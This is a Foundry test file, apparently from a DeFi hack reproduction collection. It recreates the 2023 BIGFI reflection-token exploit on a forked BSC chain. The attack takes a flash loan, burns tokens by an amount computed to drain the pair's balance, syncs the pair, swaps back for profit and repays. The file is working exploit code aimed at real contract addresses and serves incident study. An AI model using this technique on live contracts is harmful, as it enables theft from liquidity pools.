src/test/2023-03/BIGFI_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @TX
8// https://bscscan.com/tx/0x9fe19093a62a7037d04617b3ac4fbf5cb2d75d8cb6057e7e1b3c75cbbd5a5adc
9// Related Events
10// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230207---fdp---reflection-token
11// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230126---tinu---reflection-token
12// https://github.com/SunWeb3Sec/DeFiHackLabs#20230210---sheep---reflection-token
13 
14interface RDeflationERC20 is IERC20 {
15    function burn(
16        uint256 amount
17    ) external;
18}
19 
20interface ISwapFlashLoan {
21    function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
22}
23 
24contract ContractTest is Test {
25    RDeflationERC20 BIGFI = RDeflationERC20(0xd3d4B46Db01C006Fb165879f343fc13174a1cEeB);
26    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
27    ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0x28ec0B36F0819ecB5005cAB836F4ED5a2eCa4D13);
28    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
29    Uni_Pair_V2 Pair = Uni_Pair_V2(0xA269556EdC45581F355742e46D2d722c5F3f551a);
30 
31    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
32 
33    function setUp() public {
34        cheats.createSelectFork("bsc", 26_685_503);
35        cheats.label(address(BIGFI), "BIGFI");
36        cheats.label(address(USDT), "USDT");
37        cheats.label(address(swapFlashLoan), "swapFlashLoan");
38        cheats.label(address(Router), "Router");
39        cheats.label(address(Pair), "Pair");
40    }
41 
42    function testExploit() external {
43        swapFlashLoan.flashLoan(address(this), address(USDT), 200_000 * 1e18, new bytes(1));
44 
45        emit log_named_decimal_uint(
46            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
47        );
48    }
49 
50    function executeOperation(
51        address pool,
52        address token,
53        uint256 amount,
54        uint256 fee,
55        bytes calldata params
56    ) external payable {
57        USDTToBIGFI();
58        // Calculate the number of burns
59        // beforebalanceOf(Pair) == (_rOwned(Pair) * before_tTotal / _rTotal)
60        // to reduce the balanceOf(Pair) to 1 , the amount of _tTotal to burn = _tTotal - (_rTotal / _rOwned(Pair)) = _tTotal - (before_tTotal / beforebalanceOf(Pair))
61        uint256 burnAmount = BIGFI.totalSupply() - 2 * (BIGFI.totalSupply() / BIGFI.balanceOf(address(Pair)));
62        BIGFI.burn(burnAmount);
63        Pair.sync();
64        BIGFIToUSDT();
65 
66        USDT.transfer(address(swapFlashLoan), amount + fee);
67    }
68 
69    function USDTToBIGFI() internal {
70        USDT.approve(address(Router), type(uint256).max);
71        address[] memory path = new address[](2);
72        path[0] = address(USDT);
73        path[1] = address(BIGFI);
74        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
75            USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp
76        );
77    }
78 
79    function BIGFIToUSDT() internal {
80        BIGFI.approve(address(Router), type(uint256).max);
81        address[] memory path = new address[](2);
82        path[0] = address(BIGFI);
83        path[1] = address(USDT);
84        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
85            BIGFI.balanceOf(address(this)), 0, path, address(this), block.timestamp
86        );
87    }
88}